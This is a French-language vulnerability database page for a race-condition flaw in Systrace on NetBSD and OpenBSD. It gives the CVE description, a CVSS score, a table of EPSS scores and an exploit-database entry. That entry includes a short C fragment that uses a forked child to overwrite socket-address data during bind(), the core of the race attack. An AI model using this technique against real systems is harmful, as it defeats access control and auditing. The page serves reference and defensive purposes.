CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple race conditions in the (1) Sudo monitor mode and (2) Sysjail policies in Systrace on NetBSD and OpenBSD allow local users to defeat system call interposition, and consequently bypass access control policy and auditing.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.2
AV:L/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.13%
2025-03-30
–
–
–
–
0.12%
2025-04-15
–
–
–
–
0.12%
2025-04-15
–
–
–
–
0.12,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2007-08-08 22h00 +00:00 Auteur : Robert N. M. Watson EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/25258/info
Systrace is prone to multiple concurrency vulnerabilities due to its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.
Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers.
struct sockaddr_in *sa, restoresa;
/* Set up two addresses with INADDR_ANY. */
sa = fork_malloc(sizeof(*sa));
sa->sin_len = sizeof(*sa);
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = INADDR_ANY;
sa->sin_port = htons(8888);
restoresa = *sa;
/* Create child to overwrite *sa after 500k cycles. */
pid = fork_and_overwrite_smp_afterwait(sa, &restoresa,
sizeof(restoresa), 500000);
error = bind(sock, sa, sizeof(*sa));